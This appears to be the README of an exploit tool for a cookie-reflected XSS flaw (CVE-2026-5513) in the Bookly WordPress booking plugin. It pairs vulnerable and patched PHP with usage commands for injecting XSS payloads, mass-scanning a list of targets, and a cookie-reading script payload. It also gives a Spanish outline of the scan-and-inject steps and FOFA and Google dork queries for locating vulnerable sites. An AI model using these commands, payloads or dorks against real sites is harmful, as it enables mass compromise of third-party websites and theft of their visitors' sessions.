// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // No sanitization
echo '<input type="text" value="' . $full_name . '" />';  // No escaping
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

pip install requests colorama

# Check single target
python CVE-2026-5513.py -u https://target.com -v

# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v

# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v

# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

python CVE-2026-5513.py

https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

PASO 0 → Sondear objetivo (IP/dominio → resolver URL base, detectar redirecciones)
PASO 1 → Detectar plugin Bookly (readme.txt, directorio del plugin, assets, verificación de versión)
PASO 2 → Verificar configuración de cookies (análisis JS de BooklyL10n + prueba de reflexión canary)
PASO 3 → Probar reflexión XSS (contexto HTML, contexto JS, contexto de atributo)
PASO 4 → Inyectar payload (si modo --inject, verificar reflexión)

# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"